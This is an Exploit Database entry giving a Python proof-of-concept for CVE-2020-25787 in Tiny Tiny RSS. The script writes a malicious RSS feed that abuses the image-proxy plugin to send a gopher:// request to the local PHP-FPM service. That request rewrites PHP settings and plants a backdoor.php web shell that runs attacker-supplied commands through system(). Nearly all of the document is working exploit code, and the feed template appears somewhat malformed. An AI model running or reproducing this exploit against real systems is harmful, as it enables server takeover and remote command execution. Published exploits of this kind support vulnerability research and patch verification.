Tiny Tiny RSS – Remote Code Execution

Exploit Database
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作者： Daniel Neagaru

日期： 2021-03-02
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/49606/

# Exploit Title: Tiny Tiny RSS - Remote Code Execution

# Date: 21/09/2020

# Exploit Author: Daniel Neagaru & Benjamin Nadarević

# Blog post: https://www.digeex.de/blog/tinytinyrss/

# Software Link: https://git.tt-rss.org/fox/tt-rss

# Version: all before 2020-09-16

# Commit with the fixes: https://git.tt-rss.org/fox/tt-rss/commit/c3d14e1fa54c7dade7b1b7955575e2991396d7ef

# Tested on: default docker installation method

# CVE : CVE-2020-25787

#!/usr/bin/env python3

from sys import argv

import urllib.parse as ul

import base64

def CustomFcgi( filename, output, backdoor):

length=len(output)+len(backdoor)+64

char=chr(length)

data = "\x0f\x10SERVER_SOFTWAREgo / fcgiclient \x0b\tREMOTE_ADDR127.0.0.1\x0f\x08SERVER_PROTOCOLHTTP/1.1\x0e" + chr(len(str(length)))

data += "CONTENT_LENGTH" + str(length) +"\x0e\x04REQUEST_METHODPOST\tKPHP_VALUEallow_url_include = On\n"

data += "disable_functions = \nauto_prepend_file = php://input\x0f" + chr(len(filename)) +"SCRIPT_FILENAME" + filename + "\r\x01DOCUMENT_ROOT/"

temp1 = chr(len(data) // 256)

temp2 = chr(len(data) % 256)

temp3 = chr(len(data) % 8)

end = str("\x00"*(len(data)%8)) + "\x01\x04\x00\x01\x00\x00\x00\x00\x01\x05\x00\x01\x00" + char + "\x04\x00"

end += "<?php file_put_contents('" + output + "',base64_decode("+ "'"+str(backdoor.decode('ascii'))+"')"+");die('executed');?>\x00\x00\x00\x00"

start = "\x01\x01\x00\x01\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x04\x00\x01" + temp1 + temp2 + temp3 + "\x00"

payload = start + data + end

def get_payload(payload):

finalpayload = ul.quote_plus(payload, encoding="latin-1").replace("+","%20").replace("%2F","/")

return finalpayload

return "gopher://localhost:9000/_"+get_payload(get_payload(payload))

TTRSS_PATH = "/var/www/html/tt-rss/"

BACKDOOR_CODE = """

<?php

echo "success\n";

echo system($_GET['cmd']);

"""

feed_file = open("malicious_RCE_feed.xml",'w')

filename = TTRSS_PATH + "config.php"

output = TTRSS_PATH + "backdoor.php"

backdoor_code = base64.b64encode(BACKDOOR_CODE.encode("ascii"))

rce = "public.php?op=pluginhandler&plugin=af_proxy_http&pmethod=imgproxy&url=" + CustomFcgi(filename, output, backdoor_code) + "&text"

feed ="""<?xml version="1.0" encoding="UTF-8" ?>

<title>Exploit demo - rce</title>

<description>You are getting infected :(</description>

<item>

<title> Check if there is backdoor.php</title>

<![CDATA[

Dummy text

]]>

</description>

</item>

</channel>

</rss>

""".format(rce)

feed_file.write(feed)

feed_file.close()